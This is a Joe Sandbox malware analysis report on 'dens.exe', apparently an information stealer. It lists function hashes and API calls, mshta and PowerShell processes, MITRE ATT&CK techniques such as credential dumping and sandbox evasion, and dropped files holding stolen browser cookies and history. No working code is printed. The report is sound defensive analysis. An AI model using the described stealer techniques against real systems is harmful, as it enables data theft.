Instruction ID: 985ab0652be958d71ff8548b852eba62ebf5bbecd17fd7d44c1f58a28d9b6dfd
Opcode Fuzzy Hash: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
Instruction Fuzzy Hash: A6213162B0868181EF208B15D84A22D73B1FB88B94F864035DE8C83684DF7DE9968B42

Function 00007FF62C0FFD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF62C0FFD98
RaiseException.KERNEL32 ref: 00007FF62C0FFDD9

Strings

csm, xrefs: 00007FF62C0FFDC6

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: ee375455ade081ab3cff36d53b82a03997399dda6a45a8be90c705f646def659
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 0B115E32608B8182EF218F19E84025977E5FB88B94F184234DF8D47754DF7DD591C700

Function 00007FF62C11073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C11076C
GetDriveTypeW.KERNEL32 ref: 00007FF62C1107AC

Strings

:, xrefs: 00007FF62C110795

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 060f8aca37f7101514ec1ade1686fe941e9f572bbcd19a4c234d8adc1b82e3bd
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 8701D421D1860285FF30AF64A86B27E27A0EF58764F800036D98CC2681DF6CD5048B06

Function 00007FFDFAA54C28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFDFAA54C78
PyUnicode_FromString.PYTHON312 ref: 00007FFDFAA54C95

Strings

no such name, xrefs: 00007FFDFAA54C6E

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: String$Err_FromUnicode_
String ID: no such name
API String ID: 3678473424-4211486178
Opcode ID: 3005c2e76ccdbfdbb1504f9de79cdf15a2dc4c168f6a8fbb72cf26d2d18b7585
Instruction ID: a0729c263327f922da9d416bca1d964ff361abd55f77e1f322592bb32397ea76
Opcode Fuzzy Hash: 3005c2e76ccdbfdbb1504f9de79cdf15a2dc4c168f6a8fbb72cf26d2d18b7585
Instruction Fuzzy Hash: EB014471B18A429AFB699B25E864BB57794BF99748F400071DA5E463DCEF2CF00E8708

Function 00007FFDFAA525A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_PyObject_GC_New.PYTHON312(?,?,00000000,00007FFDFAA52513), ref: 00007FFDFAA525A6
PyObject_GC_Track.PYTHON312(?,?,00000000,00007FFDFAA52513), ref: 00007FFDFAA525D8

Strings

3.2.0, xrefs: 00007FFDFAA525B4

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Object_$Track
String ID: 3.2.0
API String ID: 16854473-1786766648
Opcode ID: 05fdb2ae452a8d6f4b3be3f11c3efdbfda8cc49ab31c9f152460280c20d50ee3
Instruction ID: 2ab7fa2f5fc673f48fdfd49cc9d118be8056b69faf9173a6dac79ced4f79e147
Opcode Fuzzy Hash: 05fdb2ae452a8d6f4b3be3f11c3efdbfda8cc49ab31c9f152460280c20d50ee3
Instruction Fuzzy Hash: 13E0ED65F09B0699EB1D9F11EC6447833A8BF08714B5401B5CD6D023ACEF3CE55EC248

Function 00007FFDFABBDB80 Relevance: 5.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFABBDC67
memcpy.VCRUNTIME140 ref: 00007FFDFABBDCBB
memcpy.VCRUNTIME140 ref: 00007FFDFABBDD17
memcpy.VCRUNTIME140 ref: 00007FFDFABBDD97

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: a96ea90eb97579558f5840fa51574c942dcd478eace75b517b79044c6e37b100
Instruction ID: 2da717673adc2c4093e171b9969b1d10413d48817bfe23396404f2a38b03af4e
Opcode Fuzzy Hash: a96ea90eb97579558f5840fa51574c942dcd478eace75b517b79044c6e37b100
Instruction Fuzzy Hash: 9491BE71B0974686EB6C9E129560A7A2790FB44BE0F885276EE7D07BC9DF3CE4208700

Analysis Process: mshta.exePID: 2812, Parent PID: 6560COMMON

Executed Functions

Function 000001E090900FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000003.1792270892.000001E090900000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001E090900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_1e090900000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 580eda7287dcff6d5e5deed2c497d42588c4934408e62fa8b2e84b09ffed95e2
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: 1B90021449544755D42556914C4529C505163CC354FD44481891A90146D88D02D62152

Analysis Process: powershell.exePID: 8184, Parent PID: 8128COMMON

Executed Functions

Function 00007FFD9A35169E Relevance: .8, Instructions: 785COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000052.00000002.1913209375.00007FFD9A350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_82_2_7ffd9a350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c41217c95469c7bfdaf01b1baa091e3beeb7b98b54ae18fd2d22962e4b7389f
Instruction ID: 96e1cc28121cb802ef30958e383af1b978058824f0c9b39da61f6f589ce21956
Opcode Fuzzy Hash: 0c41217c95469c7bfdaf01b1baa091e3beeb7b98b54ae18fd2d22962e4b7389f
Instruction Fuzzy Hash: 7F22D422B0DA890FE7AAA7EC58755B57BE1EF86250B0801FFD08DC71D7DE19B8468341

Function 00007FFD9A2849D2 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000052.00000002.1912812313.00007FFD9A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_82_2_7ffd9a280000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 278a68c3535c026ecc5a3087ad5c448634409d061a38e6dc7da19f621bb4b0be
Instruction ID: 74ae476179351b726d121a264db93d9843b2466562329c09fc7e2125c4d278c3
Opcode Fuzzy Hash: 278a68c3535c026ecc5a3087ad5c448634409d061a38e6dc7da19f621bb4b0be
Instruction Fuzzy Hash: 68619471E09A498FDB59EFACD4556ACBBF1EF49310F1440AEE009DB292CA35A842CB41

Function 00007FFD9A3516DC Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000052.00000002.1913209375.00007FFD9A350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_82_2_7ffd9a350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8794da97976f00cf3063f0be6a640b1e60e9840f597043eb400ab73fda255f1
Instruction ID: d8f88e117b77964c4fd87690ad5dafd7208afa0d428fd924d4eb1e9646200b40
Opcode Fuzzy Hash: a8794da97976f00cf3063f0be6a640b1e60e9840f597043eb400ab73fda255f1
Instruction Fuzzy Hash: D131D423B1CA094BE77DB6EC58B52BA37D2EF85210F5811BEE04DC7196DE28BC468241

Function 00007FFD9A283945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000052.00000002.1912812313.00007FFD9A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_82_2_7ffd9a280000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 7a3a586c851a1ccafda8701cde1dadcde02ca82204846c0220faccd1016005cb
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: 0201A73120CB0C4FD748EF0CE451AA5B3E0FB85364F10056DE58AC3695D632E881CB42

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control ).
Tactics:	Collection, Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report dens.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0.zip

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Cookies.txt

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Firefox\History.txt

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Historys.txt

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Display (1).png

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\network_info.txt

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\process_info.txt

Windows Analysis Report
dens.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre